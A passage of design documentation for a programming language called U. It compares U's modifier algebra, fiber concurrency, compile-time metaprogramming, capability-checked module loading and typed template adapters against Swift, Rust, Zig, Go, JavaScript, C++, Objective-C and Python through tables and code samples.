withTaskGroup | Fan-out to concurrent child tasks | items.map(x => a f(x)) | Spawning fibers is a call site expression — no group object, no addTask, no explicit join |
actor keyword | Prevents data races on isolated state | T+R+M(Actor) | Actor isolation is a write policy on a modifier — same algebra as MVCC or CRDT, no new keyword |
Sendable protocol | Marks types safe to cross actor boundaries | +R (heap-allocated, refcounted) | Values crossing fiber boundaries are +R by construction — the modifier already encodes what Sendable checks |
in closure syntax | Separates capture list, parameters, and body | (params) => (body) | No capture list needed — cactus handles parent scope; => separates params from body |
Each Swift annotation exists because the underlying model required it. @escaping exists because Swift doesn't know statically which closures escape — so you annotate the ones that do. [weak self] exists because ARC can't detect cycles automatically without O(n) overhead — so you annotate the borrows. withTaskGroup exists because spawning concurrent tasks needs explicit lifecycle management — so you wrap them.
U didn't design solutions for these problems. It designed the cactus stack, the modifier algebra, and biased ARC — and the problems didn't appear.
The unified model means the entire program is a single coherent dataflow graph. There is no "event system" separate from "async system" separate from "error system" — they are all typed values arriving at typed handlers. The scheduler running Kahn's topological sort on the +A dependency graph is the event loop is the async runtime is the backpressure mechanism. One thing, not four.
Ownership & Memory: U vs Rust and Zig
U vs Rust — Modifier Algebra vs Borrow Checker
Rust's borrow checker statically proves no aliased mutation exists. U routes all mutation through a proxy with a declared policy. The outcomes are similar — memory safety, race freedom — but the mechanisms and ergonomics differ significantly.
// Shared mutable: Arc> use std::sync::{Arc, Mutex}; let state = Arc::new(Mutex::new(Config::new())); // Clone Arc for every thread that needs it let state2 = Arc::clone(&state); thread::spawn(move || { let mut s = state2.lock().unwrap(); s.update(delta); }); // Single &mut: one writer at a time // No MVCC, no CRDT built in // Async adds coloring (async fn type) // Copy elision: optimizer heuristic
// Shared mutable: +R +M with policy state: Config+R+M = Config() +M(MVCC) // MVCC: readers never block snap = state.c() // instant snapshot state.update(delta) // serialized write // CRDT: commutative — any order votes: GCounter+R+M = GCounter() +M(CRDT) votes.inc(node_id) // concurrent safe // No async coloring // .c() elision: compiler-guaranteed
-R annotation encodes the same fact: the programmer states it, the compiler reads it. No analysis needed.Arc<Mutex<T>> encodes: heap (Arc), shared (Arc), mutable (Mutex). U writes: T +R +M +M(Mutex). Same semantics, three modifiers from the standard algebra. Change Mutex to MVCC for non-blocking reads. Change to CRDT for commutative writes. Rust has no equivalent mechanism — each requires a different library type.| Property | U | Rust |
|---|---|---|
| Memory safety | modifier algebra (annotation) | borrow checker (analysis) |
| Aliased mutation | permitted via proxy policy | forbidden (&mut exclusive) |
| Multiple writers | MVCC, CRDT policies | impossible in safe Rust |
| Shared mutable | T +R +M +M(X) | Arc<Mutex<T>> |
| Null safety | -N default (type error) | Option<T> (unwrapping) |
| Async coloring | solved | present (async fn type) |
| Caller stability | zero recompile when callee adds async | rewrite all callers |
| Copy elision | compiler-guaranteed (genesis) | optimizer heuristic (RVO) |
| GPU domain | +V modifier, first-class | unsafe (wgpu, cuda-rs) |
| Annotation burden | 3 modifiers + domains | lifetimes, Pin, Arc/Rc/RefCell |
U vs Zig — Modifier as Allocator, Fiber as Frame
Zig makes allocation explicit via allocator parameters: every allocating function takes an Allocator argument. U encodes the same information in the modifier: -R = stack (no allocator needed), +R = heap (runtime allocator). Same visibility, different mechanism.
// Every allocating function takes allocator // Adding allocation deep in chain forces // adding allocator param to every caller fn process(ally: Allocator, data: []T) ![]T { const result = try ally.alloc(T, data.len); defer ally.free(result); // ... } // Async: stackless frame-based // coloring present (async fn) // No +A equivalent — no lazy await
// Allocation in the type, not the signature f process(data: [T]): [T]+R // +R on return = heap allocated // callers see T +R — no param change r => transform(data) // Async: coloring solved // +A = lazy pending type // T +A forward decl: caller stable
Allocator parameter to every intermediate function — a form of the coloring problem for allocators. U's +R modifier is on the value's type, not the function's parameter list. Callers see a different return type (T +R) but need no new parameter.| Property | U | Zig |
|---|---|---|
| Allocation strategy | +R/-R modifier on value | explicit allocator parameter |
| Null safety | -N default (type error) | explicit ?T optional |
| Async coloring | solved | present |
| Pending type | T +A | none |
| Error handling | e propagates up fiber | try at every call site |
| Copy semantics | .c() explicit, genesis elision | manual, explicit |
| GPU | +V modifier | none |
| Injection safety | type error (templates) | none |
U vs Swift — Explicit Conventions vs Structural Encoding
Swift is the closest language to U's goals: memory safety without GC, null safety, value/reference distinction, and a modern concurrency model. The differences reveal a consistent pattern: Swift uses convention and annotation; U uses structure and type.
@escaping vs +R
Swift requires @escaping on closures that outlive their calling scope — they're heap-allocated and may be called after the function returns. U encodes this as +R on the closure type.
// Must mark @escaping manually // Forgetting it is a compile error // No other type information conveyed func on_event(handler: @escaping () -> Void) { listeners.append(handler) // heap allocation here } // Non-escaping: stack-allocated, cannot outlive call func transform(fn: (Int) -> Int) -> Int { return fn(42) // fn is -escaping by default }
// +R: heap-allocated, may outlive call // The same modifier system as everything else f on_event(handler: F()+R) listeners.append(handler) // heap: +R tells you // -R: stack-allocated, default f transform(fn: F(I)->I) -> I r => fn(42) // -R default: compiler knows
Swift's in Keyword — One Word, Four Jobs
Swift reuses in in four distinct syntactic contexts. U has zero context-dependent keyword reuse.
| Swift context | Swift syntax | U equivalent |
|---|---|---|
| Closure body separator | { (x: Int) in x + 1 } | x => x + 1 |
| For-in loop | for item in items { ... } | items.x(item => ...) |
| Collection iteration | for (i, v) in items.enumerated() | items.x((item, idx) => ...) |
| Range loop | for i in 0..<10 { ... } | (0..10).x(i => ...) |
Swift Actors vs U Proxy Policies
// New keyword, new type, new rules actor Counter { var value = 0 func increment() { value += 1 } // Callers MUST use await — coloring! } await counter.increment() // nonisolated = not actor-protected // @MainActor = global actor // @Sendable = can cross actor boundary // Three new annotations to learn
// No new keyword — just a class with policy d Counter +M(Actor) value: I f increment(self: Counter+R+M) t.value = t.value + 1 // Caller: no 'a' needed — fiber handles it counter.increment() // Same +R +M pattern as MVCC, CRDT, Mutex // One concept, four policies, zero new keywords
Swift async/await — Same Coloring Problem
// Swift: async infects callers — coloring present // func fetch_data() async throws -> Data { ... } // let data = try await fetch_data() // caller must be async // — every function in the chain must be marked async // U: no coloring — any function can call any function a fetch_data() -> S+N // only fetch_data is marked 'a' f main() // NOT marked 'a' — no annotation needed data = a fetch_data() // 'a' is at the call site, not on main() // Swift: with_task_group for concurrent iteration (verbose) // await with_task_group(of: Data.self) { group in // for url in urls { group.add_task { await fetch(url) } } // } // U: .x() with +A return — automatic, zero ceremony results = a urls.x(url => fetch(url)) // done
Full Comparison Table — U vs Swift, Rust, Go, JS, Zig, C++
| Property | U | Swift | Rust | Go | JS | Zig |
|---|---|---|---|---|---|---|
| Memory | modifier algebra | ARC+GC | borrow checker | GC | GC | manual |
| Null safety | -N default (type err) | Optional<T> | Option<T> | nil panic | undefined | ?T explicit |
| Data races | impossible (single thread) | actor isolation | type error | race detector | impossible | no races |
| Async coloring | solved — fibers | present | present | solved | present | present |
| Pending type | T +A (built-in) | none | Future<T> | none | Promise<T> | none |
| Auto backpressure | yes — type-driven | no | no | no | no | no |
| Escaping closures | +R modifier | @escaping | lifetime | GC | GC | manual |
| Actor model | proxy policy | actor keyword | library | goroutine+chan | none | none |
| Concurrent iter | .x() + backpressure | TaskGroup | Stream::buffered | goroutine+wg | Promise.all | manual |
| Injection safety | type error | none | library | partial | none | none |
| i18n correctness | compile-time | runtime | runtime | runtime | runtime | runtime |
| Keyword reuse | zero (1 meaning each) | in: 4 meanings | minimal | minimal | this: context | minimal |
| GPU domain | +V modifier | Metal only | unsafe wgpu | none | WebGPU | none |
| GC pauses | none (ARC) | weak/unowned GC | none | GC | GC | none |
| Keyword count | 10 (1 letter each) | ~80+ | ~50+ | ~25 | ~60+ | ~30 |
U vs C / C++ / Objective-C — Compile-time Metaprogramming and Method Dispatch
Three decades of attempts to solve the same problem: transforming function behaviour without paying runtime costs or losing type safety. U's c f with compile-time method replacement solves all three cleanly.
C macros — text substitution, no types
// C macro — text substitution. No types. Hygiene bugs. Cryptic errors. // #define RETRY(n, fn, arg) ({ int _r,_i; for(_i=0;_i<n;_i++)\ // {_r=(fn(arg));if(!_r)break;} _r; }) // _r leaks into caller scope. 'arg' evaluated multiple times. No type check. // U — typed, hygienic, composable, debuggable: c f retry(func: (S) -> S+N+A, attempts: I): (S) -> S+N+A r => retry_wrapper(func, attempts) safe_fetch = c retry(fetch, 3) // typed, zero overhead traced = c trace(c retry(fetch, 3), "fetch") // composable
C++ virtual functions — runtime vtable overhead
// C++: virtual call = 2 extra memory loads per call, every call // obj.method() → load vtable ptr → load fn ptr → indirect call // Cannot replace virtual functions after compilation. // Can only change behaviour via inheritance — tight coupling. // U: compile-time method replacement — call table rewritten ONCE d HttpClient a f get(url: S) -> S r => a Network.HTTP.get(url) c f __load__() // fires at compile time HttpClient.get = c retry(c trace(HttpClient.get, "http"), 3) // Compiler verifies: same (url: S) -> S+A signature ✓ // Same modifier algebra ✓ Same error surface ✓ // All call sites now direct — no vtable, no indirection, zero overhead
| C++ virtual | U compile-time replacement | |
|---|---|---|
| Dispatch cost | 2 extra memory loads per call | Zero — direct call after replacement |
| Change behaviour | Must subclass — tight coupling | Any class, any method, in c f __load__() |
| Type safety | Signature checked at compile time | Full signature + modifier algebra checked |
| Composable | No — one vtable entry per method | c trace(c retry(method, 3)) |
| After compilation | Fixed — vtable sealed | Fixed — but rewritten at compile time already |
Objective-C categories and method swizzling
Objective-C came close to what U offers: categories add methods to existing classes, and method swizzling replaces implementations. But both happen at runtime, with no type checking.
// Objective-C: runtime swizzling — crashes at runtime, no type check // Method swizzle(Class cls, SEL orig, SEL swizzled) { // Method m1 = class_getInstanceMethod(cls, orig); // Method m2 = class_getInstanceMethod(cls, swizzled); // method_exchangeImplementations(m1, m2); // raw pointer swap — unsafe! // } // Breaks if signature differs. No verification. Runtime crash. // U: compile-time replacement — type-safe, zero-cost, composable c f __load__() Logger.log = c trace(Logger.log, "Logger") // signature verified at compile time Logger.log = c require_auth(Logger.log, "audit") // stack multiple transforms // If new function has wrong signature → compile error, not runtime crash // Call table updated in-place. All callers get direct call. Zero overhead.
| Objective-C categories/swizzling | U c f method replacement | |
|---|---|---|
| When it happens | Runtime — at app launch | Compile time — before binary exists |
| Type safety | None — raw pointer swap, runtime crash on mismatch | Full — signature + modifier algebra verified |
| Runtime cost | Message send overhead on every call | Zero — direct call after replacement |
| Composable | Fragile — swizzling swizzled methods breaks things | c a(c b(c c(method))) — safe composition |
| Works on any class | Yes (categories) — but no type verification | Yes — with full contract verification |
| Compiler knows | No — invisible to compiler | Yes — call table rewritten, all sites optimized |
The contract constraint — what the compiler checks
When any method is replaced in c f, the compiler verifies the full algebraic contract of the original:
d UserService a f load(id: I) -> User+N ! DatabaseError c f __load__() // ✓ same params, same return, same error surface, same modifiers: UserService.load = c memoize(UserService.load, 60) // ✗ wrong return type → compile error: // UserService.load = fn_returning_I // I ≠ User+N → rejected // ✗ drops error surface → compile error: // UserService.load = fn_without_error // missing ! DatabaseError → rejected // ✗ wrong modifier → compile error: // UserService.load = sync_fn // sync fn can't replace a f → rejected
c f: replace the method at compile time, verify the contract, get direct calls everywhere. Test builds can swap in mocks; production builds swap in observability. No annotations, no bytecode rewriting, no runtime overhead.
U vs Rust, Go, Zig, JavaScript
Individual pieces of U exist in prior languages. What has no precedent is the entire correspondence: a single commutative modifier algebra in which every annotation simultaneously encodes a safety invariant and an exact compiler oracle — eliminating the analysis, not just guiding it.
Closest relatives — and what's still missing from each
| Language | Closest to U in | What it lacks |
|---|---|---|
| Rust | Explicit semantics, memory safety goals | Annotations are constraints, not oracles — analysis still runs. No MVCC/CRDT. Async has coloring. No modifier algebra unifying all dimensions. |
| Koka | Effect rows — beautiful, typed side-effect tracking | No ownership, no graph semantics, no compile-time domains, no modifier algebra. Effects and modifiers solve overlapping problems with different mechanisms. |
| Zig | Philosophy — simple mechanisms, no hidden control flow | No algebraic unification. Async has coloring. No modifier algebra. Each feature added individually rather than derived. |
| Erlang | Concurrency — actor model, let-it-crash, message passing | No ownership, no value-level async, no modifier algebra. Concurrency is the whole model, not a dimension of a larger algebra. |
| Lisp / Scheme | Spirit — small mechanisms, large consequences. Macros as compile-time execution. | Dynamic typing means no modifier algebra. The "small generates large" insight is the same; the substrate is different. |
| Swift | Practical language with modern features | Every feature added separately: @escaping, [weak self], Sendable, actor, withTaskGroup. The cactus stack and modifier algebra would have eliminated all of them. |
The common pattern: every prior language either has individual features (ownership, or effects, or async, or compile-time execution) without the unifying algebra — or has a unifying principle (everything is a list, everything is a function) at a different level of abstraction than a type system. U is the first attempt, as far as we know, to make one commutative algebra of eight dimensions govern memory, mutation, nullability, concurrency, SIMD, compile-time, and streaming — simultaneously as safety invariants and compiler licenses, with safety proofs and optimization proofs being the same proof.
| Property | U | Rust | Go | Zig | JavaScript |
|---|---|---|---|---|---|
| Memory safety | modifier algebra | borrow checker | GC | manual+comptime | GC |
| Null safety | -N default (type error) | Option<T> | nil panics | explicit optional | undefined/null |
| Data races | impossible (single fiber thread) | type error | race detector | no races | impossible (single thread) |
| Async coloring | solved — fibers | present | solved — goroutines | present | present |
| Async frame size | minimal (+A oracle) | minimal (stackless) | full stack | minimal | heap closure |
| Multiple writers | yes (MVCC, CRDT) | no — single &mut | mutex only | mutex only | yes (single thread) |
| Injection safety | type error (templates) | library only | partial | none | none |
| i18n correctness | compile-time (localized``) | runtime | runtime | runtime | runtime |
| GC pauses | none (ARC) | none | GC pauses | none | GC pauses |
| ARC atomics | none (single thread) | Arc: always atomic | N/A (GC) | N/A (manual) | N/A (GC) |
| All copies explicit | yes — .c() only | yes — .clone() | implicit | mostly | implicit |
| GPU first-class | +V modifier | unsafe (wgpu) | none | none | WebGPU only |
| Maps | Bag type built-in | HashMap only | map[string]any | manual | native objects |
| Keyword count | 10 (all 1 letter) | ~50+ | ~25 | ~30 | ~50+ |
vs Rust — Same Goals, Different Philosophy
Pin/Unpin, Rc/Arc/RefCell proliferation, sharp &T/&mut T distinction. Rust async has the coloring problem. Stackless coroutines are lean but you cannot yield from nested calls without propagating async upward.+R +M objects use proxy-mediated writes, meaning multiple concurrent writers are possible via MVCC or CRDT — impossible in safe Rust. The single-threaded fiber scheduler eliminates most synchronization entirely. +A minimizes fiber frames without losing stackful ergonomics. No lifetime annotations. No Pin.vs Go — Better Concurrency, Better Safety
+A to tell the runtime "only save these two values." Go also has nil pointers (runtime panics, not type errors), GC pauses, and no injection safety at the language level.+A. Null safety is a type error, not a runtime panic. No GC — ARC with O(1) cycle detection. Templates make injection impossible.vs Zig — Same Performance Goals, More Ergonomics
?T optionals, async has the coloring problem, and there is no template safety or i18n.+R/-R modifier encodes allocation strategy; U's answer to Zig's allocator parameters: the allocation strategy is encoded in the type. U adds null safety, injection safety, and fiber concurrency that Zig doesn't have.vs JavaScript — Same Ergonomics, Radically Different Guarantees
await, the entire call stack must unwind back to the event loop. Every local variable surviving the suspension is serialized into a heap-allocated Promise closure. This is why async infects callers — each frame must opt in to this serialization. Two separate queues: macrotasks (setTimeout, I/O — one per loop tick) and microtasks (Promise.then — all drained before the next macrotask). Microtasks can starve I/O callbacks if they keep adding more microtasks. Generators are stackless and can only yield at the top level — not from nested calls.U vs Python
Python is the dominant language for scientific computing, data science, and scripting. U is designed to be strictly safer, immediately legible to Python developers, and directly competitive for scientific computing — without external libraries for vectorization, GPU, or complex numbers.
Arithmetic and operators — same conventions
| Feature | Python | U | Notes |
|---|---|---|---|
| Powers | ** | ^ — built-in, no magic method | Equivalent intent |
| Matrix multiply | @ (PEP 465 / numpy) | @ — __matmul__ | Same operator, Python people comfortable |
| Element-wise ops | numpy external | + - * / built-in on arrays | U wins — no import needed |
| Dot / cross product | numpy.dot() / numpy.cross() | .dot(b) / .cross(b) | Equivalent |
| Complex numbers | complex (two float64) | C64 (two N32), C128 (two N64) | NumPy convention — equivalent |
| Vectorized | numpy.ndarray (external) | N32+V — built-in modifier | U wins |
| GPU | cupy / torch (external) | +R(GPU) — built-in location policy | U wins |
Safety — every Python runtime error U makes a compile error
| Error category | Python | U |
|---|---|---|
| Null dereference | Runtime AttributeError | Compile error — +N required to permit null |
| SQL injection | Runtime — parameterized queries required | Compile error — sql`...` typed template |
| HTML injection / XSS | Runtime — manual escaping | Compile error — html`...` typed template |
| i18n missing key | Runtime KeyError | Compile error |
| Infinite loop | Runs forever | Compile error — no reachable b |
| Mutable default arg | def f(x=[]): — famous bug | Compile error — positional defaults banned |
| Untyped parameter | Silently Any | Compile error |
| Data race | Runtime | Compile error — +M policy required |
Functions and OOP
| Feature | Python | U | Verdict |
|---|---|---|---|
| Named/options args | f(x, opts={}) or **kwargs | f(x, { timeout: 60 }) — map literal, destructured; or pass a variable | Draw |
| Decorators | @decorator — runtime wrapping | c f HOFs — compile-time, zero overhead.c memoize(func,60) c retry(func,3) c trace(func) | U wins — type-system integrated |
| Default positional args | def f(x, y=5): — mutable default bug | Banned — compile error | U wins |
| Optional named args | def f(x, *, timeout=30): | Trailing { timeout: I = 30 } — typed | U wins |
| self | Explicit first param always | t — implicit, never declared | U wins |
| Static methods | @staticmethod | Inferred from absent t — zero annotation | U wins |
| Dataclasses | @dataclass (3.7+) | All classes are dataclasses by default | U wins |
| Multiple inheritance | Yes — MRO | Not supported — use interfaces | Python wins |
| Generics | List[T], Dict[K,V] | d Stack[ElemType] — multi-letter names enforced | Equivalent for containers |
| Union types | str | int (3.10+) — runtime isinstance | S|I — compile-time, method dispatch only if exact overload for all members | U wins — exhaustive at compile time |
| Enumerations | class Color(Enum) — integer-backed, separate namespace | d Color.Red : Color — plain subclass, can carry fields, methods, generics | U wins — no separate construct |
| match / switch | match x: case Point(x=x, y=y): — structural, runtime, x=x redundancy when field and local share a name | x : Point ? x.x ... x.y ... — type-narrows, fields available directly, no extraction needed | U wins — no x=x, exhaustiveness via union types |
Walrus := | while chunk := f(): ... — retrofitted because = is a statement | Not needed — = is already an expression; no while loops | U wins — never needed |
| Empty set/dict literal | {} creates a dict — famous footgun; empty set requires set() | {} = empty set; {:} = empty map — colon always signals map | U wins — consistent rule |
zip() | for a, b in zip(l1, l2): — lazy iterator, unpack tuples | l1.zip(l2, (a, b) => ...) — callback IS the loop body; no tuple, no unpack | U wins — one expression |
sum() / min() / max() | sum(lst), min(lst, key=fn) — standalone builtins | lst.sum(), lst.min(fn?), lst.max(fn?) — methods with optional key | Draw |
| Membership test | x in list — O(n), same syntax as set membership, hides cost | arr.has(x) — O(n), explicit; x in set — O(1), separate type | U wins — cost visible |
Runtime safety — what U adds that Python cannot
| Feature | Python | U |
|---|---|---|
| Template injection safety | Manual escaping, f-strings unescaped | Compile error — S cannot reach sinks |
| Email body safety | Any string accepted | Requires Templates.HTML or Templates.Localized — provenance checked |
| Regex validation | Runtime re.compile() error | Compile-time syntax error + ReDoS detection |
| Runtime module loading | importlib — no capability checking | a o("path", { caps }) — JIT compiled, capability-checked, typed |
| Capability system | None — any module can call anything | o imports are capability declarations — compiler enforces |
| Backpressure | Manual (asyncio queues, semaphores) | Structural — .x() sequential by default |
| Events and promises | Separate: asyncio vs threading.Event | One primitive — typed arrival dispatch |
Scientific computing — Python's home turf
| Task | Python / NumPy | U |
|---|---|---|
| Comparison after arithmetic | np.isclose(a, b, rtol=1e-9) — ε by guesswork | a == b — exact cross-multiply |
| 0.1 + 0.2 == 0.3 | False | True — Q(1,10)+Q(2,10)=Q(3,10) |
| 1/3 * 3 == 1 | False (0.9999…) | True |
| Vanishing gradients | ResNets, LSTMs, clipping — workarounds | Impossible — Q never underflows to 0 |
| Training determinism | Non-deterministic across GPUs, CUDA versions | Integer arithmetic identical on all hardware |
| Convergence test | abs(loss_a - loss_b) < 1e-7 heuristic | loss_a == loss_b exact |
| Symbolic deferred eval | SymPy — separate library, separate syntax | result = Q(a,b)/Q(c,d) — symbolic by default |
Python @decorator overhead | Runtime wrapper every call | c f — generated once at compile time, zero overhead |
np.isclose, gradient clipping, residual connections, mixed-precision training — all compensate for float approximation. U's Q type addresses this structurally, not symptomatically.| Feature | Why omitted in U |
|---|---|
exec / eval | Security — no runtime code generation |
| Monkey patching | Predictability — types are closed after definition |
| Multiple inheritance | Single inheritance + interfaces is strictly cleaner; MRO is a footgun |
Unlimited-precision int | Use Q (or bignum library) |
@property setter syntax | Methods for computed; type system for validation |
[x*2 for x in y if x > 0] — are more concise than .filter().map() for simple one-liners. This is real. It is the price of method-based iteration. Everything else U either matches or wins on safety, performance, and clarity.
JIT Module Loading — Compile-time Guarantees at Runtime
The U compiler is a library, not just a CLI tool. At runtime you can invoke it on a source file, get back a statically-analysed, capability-checked, type-verified module — compile-time guarantees at runtime. This is Node's require() with Deno's permission system and TypeScript's type safety, enforced at load time.
Dynamic module loading — a o()
// Static import — compile time, declared capability surface: o Templates o Network.HTTP.WeatherAPI // Dynamic import — runtime JIT, capability-checked: plugin: WeatherPlugin+A = a o("plugins/weather.u", { Network.HTTP: WeatherAPI // grant a subset of what we already have }) // Multiple plugins, different capability grants: analytics: Analytics+A = a o("plugins/analytics.u", { Templates }) mailer: Mailer+A = a o("plugins/mailer.u", { Network.SMTP.Transactional }) // Handle capability denial — module demanded more than granted: e.x((err: CapabilityError) => // err.missing, err.demanded log("Plugin denied: " + err.missing.join(", "))) plugin = a o("plugins/untrusted.u", { Templates })
What happens at runtime when a o("path", { caps }) is called:
- Load the source file
- Run the U compiler JIT — full static analysis
- Extract the module's
odeclarations — its demanded capability surface - Check demanded ≤ granted — if not, throw
CapabilityError - Compile and instantiate with granted capabilities injected
- Return typed module as
ModuleInterface+A
a o("plugin.u", { Network.HTTP: WeatherAPI }) requires that you have WeatherAPI. Plugins cannot escalate privileges beyond what their caller has.
Template hot loading
// Static — validated at build time, baked in: page = Templates.html("templates/page.html", { title: S, items: [Item] }) // Dynamic — JIT validated at load time: render: ({ title: S, items: [Item] }) -> Templates.HTML+A = a Templates.load("templates/page.html") // Compiler JIT-parses the HTML, validates {title} and {items} types, // checks attribute positions (href→URL, style→CSS), accessibility rules. // Returns typed function — same guarantees as static Templates.html() // Hot swap — recompile on file change, verify before swap: a Templates.watch("templates/page.html", (new_fn) => // fires on change new_fn : typeof render // type-check new version ? (render = new_fn) // safe swap ! log("Template interface changed — requires code update"))
c f — compile-time functions that run at build time
The compiler doesn't hardcode template validation rules. The standard library ships template parsers as functions decorated c f — executed at build time, not runtime. They implement the TemplateLang! interface, which the compiler calls for each {expr} interpolation:
// The interface the compiler expects — standard library implements this for each tag: d TemplateLang! fc f __check__(expr: Expr, pos: Position, ctx: Context) -> Type fc f __validate__(tree: ParseTree): [Diagnostic] fc f __output__() -> Type // Standard library's HTML implementation (simplified): d HtmlTemplate : TemplateLang fc f __check__(expr: Expr, pos: Position, ctx: Context) -> Type pos.attr == "style" ? Templates.CSS pos.attr == "href" ? Templates.URL pos.attr == "src" ? Templates.URL pos.attr == "onclick" ? e CompileError("inline JS not allowed") pos.tag == "content" ? Templates.HTML | S | I | N | [Templates.HTML] ! S // default: escaped string fc f __validate__(tree: ParseTree): [Diagnostic] // structural: tag nesting, missing alt, li inside ul, a11y rules... fc f __output__() -> Type r => Templates.HTML
Provenance checking at runtime — Protocols honour compile-time guarantees
At runtime, the standard library's Protocol implementations (SMTP, HTTP, LLM) check the provenance of values they receive. A Templates.HTML value carries its template path and a content hash baked in at compile time. Safebox-sealed execution means this can't be forged.
body = Templates.html("emails/transactional/welcome.html", { name: user.name }) // body: Templates.HTML { content: "...", source: "emails/transactional/welcome.html", // hash: "sha256:abc..." } ← opaque to user code Network.SMTP.Transactional.send({ to: user.email, subject, body }) // Runtime: org policy injected at startup: // { from: ["[email protected]"], bodyTemplate: "emails/transactional/*" } // Standard library checks: // body.source matches "emails/transactional/*" ✓ // body.hash matches compiled hash ✓ (Safebox seals this) // user.email matches "*@customers.myapp.com" ✓ // → send proceeds // Cannot be forged: // bad: Templates.HTML = { content: xss, source: "emails/trusted.html" } ✗ // Templates.HTML is sealed — only html`` and Templates.html() produce genuine values
Comparison — what other languages offer
| C++ | Java | Node.js | Deno | U | |
|---|---|---|---|---|---|
| Runtime module loading | ✗ | ✓ | ✓ | ✓ | ✓ |
| JIT static analysis at load time | ✗ | partial | ✗ | ✗ | ✓ |
| Capability checking on load | ✗ | ✗ | ✗ | ✓ (runtime) | ✓ (+ compile) |
| Type-safe module interface | ✗ | ✓ (reflection) | ✗ | ✗ | ✓ |
| Template validation at build time | ✗ | ✗ | ✗ | ✗ | ✓ (c f) |
| Template hot swap with type check | ✗ | ✗ | partial | ✗ | ✓ |
| Runtime provenance verification | ✗ | ✗ | ✗ | ✗ | ✓ (sealed + hash) |
| Typed error on capability denial | ✗ | ✗ | ✗ | ✗ | ✓ CapabilityError |
a o("path", { caps }) is a ModuleType+A — a promise that resolves to a JIT-compiled, statically-analysed, capability-checked, type-verified module. The same guarantees you get from static compilation, delivered at runtime on demand. Modules and templates update freely; the compiler runs again at load time; the type system catches breaking changes before the new version is ever executed.
Metaprogramming — c f, Module Capabilities, Traits, Middleware
U's metaprogramming system is built on one mechanism: c f functions that run at compile time, take typed functions as arguments, compose freely, and can rewrite call tables. This replaces C macros, C++ template metaprogramming, Python decorators, Objective-C swizzling, and Angular DI — unified, type-safe, zero overhead.
Module declaration — first o in a file
// Unnamed — FQN from file path (Analytics/HTTP.u → Analytics.HTTP): o { Network.HTTP, c HttpClient.get } // runtime cap, compile-time cap o => { AnalyticsClient } // o => always required — explicit exports // Named — overrides file path: o Analytics.HTTP { Network.HTTP, // runtime cap c http_get: HttpClient.get, // compile-time cap — alias → target c HttpClient.post // no alias } o => { AnalyticsClient, http_stats } // own exports under Analytics.HTTP.*
o => { } exports your own symbols under this module's FQN. o { c Class.method } declares mutations to OTHER classes — these land on the target class, not under this FQN. A pure trait module has o => { } empty.Composing c f — mix c and non-c, before/after hooks, new methods
// c f calls c f — same domain rule as a calls a: c f memoize(func: () -> Data, ttl: I): () -> Data r => c memoized_wrapper(func, ttl) // Mix c and non-c args freely: c f with_hooks(func: (S) -> Data+A, before: () -> none, after: (Data) -> none): (S) -> Data+A r => c hooked_wrapper(func, before, after) safe_get = c retry( c with_hooks(HttpClient.get, log_start, log_end), 3, err => alert(err) // regular fn — no c needed )
c f __load__() — module initializer and method replacement
o Api { Network.HTTP, c http_get: HttpClient.get, c HttpClient.post } o => { ApiClient } a f raw_get(url: S) -> S r => a Network.HTTP.get(url) c f __load__() raw_get = c memoize(raw_get, 60) // own function — no cap needed http_get = c retry(c trace(HttpClient.get, "http"), 3) // declared cap ✓ // Compiler verifies: same signature + modifier algebra + error surface ✓ // Call table rewritten in-place — direct calls everywhere, zero overhead
Traits — Objective-C categories in compile-time U
o Traits.UserSerializable { c to_json: User.to_json, // adds to_json to User c from_json: User.from_json, c to_csv: User.to_csv } o => { } // pure trait — no own exports, entire effect is side-effect on User c f __load__() to_json = c build_serializer(User, "json") from_json = c build_deserializer(User, "json") to_csv = c build_serializer(User, "csv") o Traits.UserSerializable { c User.to_json, c User.from_json, c User.to_csv } json = user.to_json() // works — landed directly on User, not Traits.*
Mock injection and memoization
// In test builds — replace real HTTP with a mock, compile-time, type-safe: c f __load__() Network.HTTP.get = mock_http_get // same (S) -> S+A signature ✓ Network.HTTP.post = mock_http_post // compiler verifies contract ✓ // No reflection. No @patch. Production binary never sees mock — zero overhead. // Memoize any function — one line anywhere: load_config = c memoize(load_config, 300) // cache 5 min fetch_user = c memoize(fetch_user, 60) // cache 1 min
Middleware injection — compile-time and runtime
o Middleware.Auth { c Network.HTTP.get, c Network.HTTP.post } o => { } c f __load__() Network.HTTP.get = c inject_auth(Network.HTTP.get, Env.token) Network.HTTP.post = c inject_auth(Network.HTTP.post, Env.token) // Static — compile-time: o Middleware.Auth { c Network.HTTP.get, c Network.HTTP.post } // Dynamic — runtime JIT, same contract verification: config.middlewares.x(mw => (a o(mw.path, mw.caps); none))
Adapters, Capabilities & Connections
Template tags are not just validators — they are adapters. Each one sits between U's type system and an external system, translating typed inputs to the system's protocol and typed outputs back into U types. The capability declaration is instantiation syntax: you are constructing a capability with a specific connection configuration, not defining a new type.
The adapter as load-bearing module
Every template tag adapter implements a standard compile-time interface:
// What every adapter implements (as c f hooks): c f __check__(slot: S, type: Type[T]): L // validate each interpolation site c f __validate__(template: S): L // validate the assembled template c f __output__(...types): Type[R] // determine return type c f __schema__() -> Schema // load external schema at compile time f __execute__(compiled: Compiled, params) -> R+A // translate → call → translate back
| Adapter | Tags | Translates | Compile-time check |
|---|---|---|---|
| Database | sql, orm | Typed params → parameterised query → typed rows | Column existence, type correctness, join validity |
| LLM | prompt, embed | Typed slots → prompt string → __unpack__ to T | Slot types, schema compatibility |
| Wire format | protobuf, capnproto | U struct → bytes → U struct | Field existence, type compatibility with schema |
| HTTP | fetch, graphql | Typed request → HTTP/gRPC/GraphQL → typed response | Endpoint existence, path variable types |
| Queue | publish, subscribe | U value → serialised message → U value | Message type correctness, topic existence |
| Search | search | Typed query → index query → typed results | Field existence, filter type compatibility |
The adapter is the sole responsible party for its domain. Injection safety, schema validation, protocol translation, auth injection, caching, observability — all sealed inside the adapter. App code never touches a wire format or credential.
Capability instantiation — o Module[Connection] { capabilities }
The o line is instantiation, not definition. You are constructing a capability with a specific connection configuration. The { } is a set of capability names — no aliases, no key-value pairs. The [Param] filters down to all capabilities in the set automatically.
o DB { sql, migrate } // default connection, injected at deploy o DB[DbConnection.Replica]{ sql } // Replica connection — [Param] applies to all in {} o LLM { prompt } // any LLM adapter, injected o LLM.Anthropic { prompt } // pin to Anthropic adapter specifically o LLM.Anthropic[LLMConnection.Staging]{ prompt } // Anthropic + Staging connection // { } is a set — c prefix marks compile-time-only capabilities: o AI { prompt, embed, c validate } // validate is compile-time only
The type constraint on the module definition ensures the parameter is the right kind of connection. Passing the wrong type is a compile error:
